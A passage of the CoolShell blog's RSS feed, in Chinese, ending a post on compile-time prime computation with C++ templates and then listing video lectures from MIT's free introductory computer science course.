target=\"_blank\">这里</a>）你需要注意了，这是一个高级用法，使用模式来在编译时计算质数，而不是运行时。这种技术使用了C++编译器对模板的特化时的处理来生成自己相要的结果。这种方法在技术上是相当Cool的，但并不一定实用，这里只是想像大家展示这种用法。这是C++的最骨灰级的用法了。</p>\n<p>请看下面的两个模板类，第一个模板以递归的方式检查是否是质数，第二个方法是递归的退出条件（当N=1时），对于模板的重载，请参看相关的C++书籍。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\ntemplate&lt;int N, int D = N - 1&gt;\nstruct isPrime {\n    enum {\n        result = (N % D) &amp;&amp; isPrime&lt;N, D-1&gt;::result\n    };\n};\n\ntemplate&lt;int N&gt;\nstruct isPrime&lt;N, 1&gt; {\n    enum {\n        result = true\n    };\n};\n</pre>\n<p>于是，通过这个模板，我们可以使用下面的代码来检查是否是质数：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nif (isPrime&lt;3&gt;::result)\n    cout &lt;&lt; &quot;Guess what: 3 is a prime!&quot;;\n</pre>\n<p>下一步，我们需要打出一个区间内的质数，所以，我们需要继续设计我们的print模板。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\ntemplate&lt;int N, bool ISPRIME&gt;\nstruct printIfPrime {\n    static inline void print() {}\n};\n\ntemplate &lt;int N&gt;\nstruct printIfPrime&lt;N, true&gt; {\n    static inline void print() {\n        std::cout &lt;&lt; N &lt;&lt; endl;\n    }\n};\n</pre>\n<p>从上面的代码中，我们可以看到，我们的第一个实际是什么也没做，而第二个有输出，注意第二个的模板参数中有一个true，其意味着那个质数的判断。于是我们就可以给出下面的代码来尝试着打印出一段区间内的质数：（<strong>请不要编译！！</strong>因为那会让编译器进入无限循环中，原因是printPrimes会不停地调用自己永不停止）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\ntemplate&lt;int N, int MAX&gt;\nstruct printPrimes {\n    static inline void print()\n    {\n        printIfPrime&lt;N, isPrime&lt;N&gt;::result&gt;::print();\n        printPrimes&lt;N + 1, MAX&gt;::print();\n    }\n};\n</pre>\n<p>为了避免这个问题，你需要再加一个模板类，如下所示。这样当N变成MAX的时候，递归就结束了。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\ntemplate&lt;int N&gt;\nstruct printPrimes&lt;N, N&gt; {\n    static inline void print() {\n        printIfPrime&lt;N, isPrime&lt;N&gt;::result&gt;::print();\n    }\n};\n</pre>\n<p>最后，让我们来看看最终的调用：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint main (int argc, char * const argv[])\n{\n    printPrimes&lt;2, 40&gt;::print();\n    return 0;\n}\n</pre>\n<p>这个方法很NB，但是有两个问题：</p>\n<ul>\n<li>比较耗编译时间。</li>\n<li>不能在运行时输入MAX的值。</li>\n</ul>\n<p>不过，相信这种玩法会启动你很多的编程思路。</p>\n<p>当然，还有以前说过的那个——《<span style=\"font-weight: bold;\"><a title=\"检查素数的正则表达式\" rel=\"bookmark\" href=\"https://coolshell.cn/articles/2704.html\" target=\"_blank\">检查素数的正则表达式</a></span>》</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"http://coolshell.cn/articles/1857.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"C 语言整型谜题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/1857.html\" class=\"wp_rp_title\">C 语言整型谜题</a></li><li ><a href=\"http://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"http://coolshell.cn/articles/3961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"“火柴棍式”程序员面试题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/3961.html\" class=\"wp_rp_title\">“火柴棍式”程序员面试题</a></li><li ><a href=\"http://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3738.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>45</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>（麻省理工免费课程）计算机科学和编程导论</title>\n\t\t<link>https://coolshell.cn/articles/3723.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3723.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 28 Feb 2011 00:25:07 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Course]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[MIT]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3723</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前本站推荐过麻省理工的C/C++的课程，今天在他们的网站看到上有一组关于计算机科学和编程导论的免费公开课（视频是Youtube的），我看了几个课程，我觉得讲得...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3723.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3723.html\">（麻省理工免费课程）计算机科学和编程导论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前本站推荐过<a href=\"https://coolshell.cn/articles/2474.html\" target=\"_blank\">麻省理工的C/C++的课程</a>，今天在他们的网站看到上有一组关于<a href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/\" target=\"_blank\">计算机科学和编程导论的免费公开课</a>（视频是Youtube的），我看了几个课程，我觉得讲得很系统啊，而且有一点一通百通的感觉。虽然是理论课，但是可以感到我国的教育还是有很大差距的。这个组课程推荐给大家（需要翻墙），视频都有字幕，计算机科学系毕业的同学应该会很容易听懂。强烈推荐。（网友Aslan指出已经有人搬运到优酷上了，<a href=\"http://www.youku.com/playlist_show/id_3940564_ascending_1_mode_pic_page_1.html\" target=\"_blank\">链接在这里</a>，遗憾的是没有字幕，另外，不知道为什么会说是Python学习）</p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"1: Introduction and Goals; Data Types, Operators, and Variables\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1\">&nbsp;</p>\n<p></a><a title=\"1: Introduction and Goals; Data Types, Operators, and Variables\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1/lec01.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">1: Introduction and Goals; Data Types, Operators, and Variables</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-1\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p0.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"2: Branching, Conditionals, and Iteration\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2\">&nbsp;</p>\n<p></a><a title=\"2: Branching, Conditionals, and Iteration\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2/lec02.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">2: Branching, Conditionals, and Iteration</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-2\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p1.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"3: Common Code Patterns: Iterative Programs\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3\">&nbsp;</p>\n<p></a><a title=\"3: Common Code Patterns: Iterative Programs\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3/lec03.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">3: Common Code Patterns: Iterative Programs</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-3\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p2.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<p><span id=\"more-3723\"></span></p>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"4: Abstraction through Functions; Introduction to Recursion\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4\">&nbsp;</p>\n<p></a><a title=\"4: Abstraction through Functions; Introduction to Recursion\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4/lec04.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">4: Abstraction through Functions; Introduction to Recursion</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-4\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p3.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"5: Floating Point Numbers, Successive Refinement, Finding Roots\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5\">&nbsp;</p>\n<p></a><a title=\"5: Floating Point Numbers, Successive Refinement, Finding Roots\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5/lec05.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">5: Floating Point Numbers, Successive Refinement, Finding Roots</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-5\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p4.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"6: Bisection Methods, Newton/Raphson, Introduction to Lists\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6\">&nbsp;</p>\n<p></a><a title=\"6: Bisection Methods, Newton/Raphson, Introduction to Lists\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6/lec06.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">6: Bisection Methods, Newton/Raphson, Introduction to Lists</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-6\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p5.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"7: Lists and Mutability, Dictionaries, Introduction to Efficiency\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7\">&nbsp;</p>\n<p></a><a title=\"7: Lists and Mutability, Dictionaries, Introduction to Efficiency\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7/lec07.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">7: Lists and Mutability, Dictionaries, Introduction to Efficiency</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-7\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p6.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"8: Complexity: Log, Linear, Quadratic, Exponential Algorithms\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8\">&nbsp;</p>\n<p></a><a title=\"8: Complexity: Log, Linear, Quadratic, Exponential Algorithms\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8/lec08.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">8: Complexity: Log, Linear, Quadratic, Exponential Algorithms</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-8\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p7.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"9: Binary Search, Bubble and Selection Sorts\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9\">&nbsp;</p>\n<p></a><a title=\"9: Binary Search, Bubble and Selection Sorts\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9/lec09.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">9: Binary Search, Bubble and Selection Sorts</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-9\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p8.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"10: Divide and Conquer Methods, Merge Sort, Exceptions\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10\">&nbsp;</p>\n<p></a><a title=\"10: Divide and Conquer Methods, Merge Sort, Exceptions\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10/lec10.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">10: Divide and Conquer Methods, Merge Sort, Exceptions</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-10\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p9.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"11: Testing and Debugging\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11\">&nbsp;</p>\n<p></a><a title=\"11: Testing and Debugging\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11/lec11.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">11: Testing and Debugging</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-11\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p10.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"12: Debugging, Knapsack Problem, Introduction to Dynamic Programming\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12\">&nbsp;</p>\n<p></a><a title=\"12: Debugging, Knapsack Problem, Introduction to Dynamic Programming\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12/lec12.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">12: Debugging, Knapsack Problem, Introduction to Dynamic Programming</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-12\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p11.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"13: Dynamic Programming: Overlapping Subproblems, Optimal Substructure\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13\">&nbsp;</p>\n<p></a><a title=\"13: Dynamic Programming: Overlapping Subproblems, Optimal Substructure\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13/lec13.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">13: Dynamic Programming: Overlapping Subproblems, Optimal Substructure</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-13\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p12.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"14: Introduction to Object-oriented Programming\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14\">&nbsp;</p>\n<p></a><a title=\"14: Introduction to Object-oriented Programming\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14/lec14.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">14: Introduction to Object-oriented Programming</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-14\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p13.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"15: Abstract Data Types, Classes and Methods\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15\">&nbsp;</p>\n<p></a><a title=\"15: Abstract Data Types, Classes and Methods\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15/lec15.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">15: Abstract Data Types, Classes and Methods</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-15\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p14.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"16: Encapsulation, Inheritance, Shadowing\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16\">&nbsp;</p>\n<p></a><a title=\"16: Encapsulation, Inheritance, Shadowing\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16/lec16.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">16: Encapsulation, Inheritance, Shadowing</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-16\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p15.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"17: Computational Models: Random Walk Simulation\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17\">&nbsp;</p>\n<p></a><a title=\"17: Computational Models: Random Walk Simulation\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17/lec17.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">17: Computational Models: Random Walk Simulation</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-17\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p16.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"18: Presenting Simulation Results, Pylab, Plotting\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18\">&nbsp;</p>\n<p></a><a title=\"18: Presenting Simulation Results, Pylab, Plotting\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18\"><img decoding=\"async\" 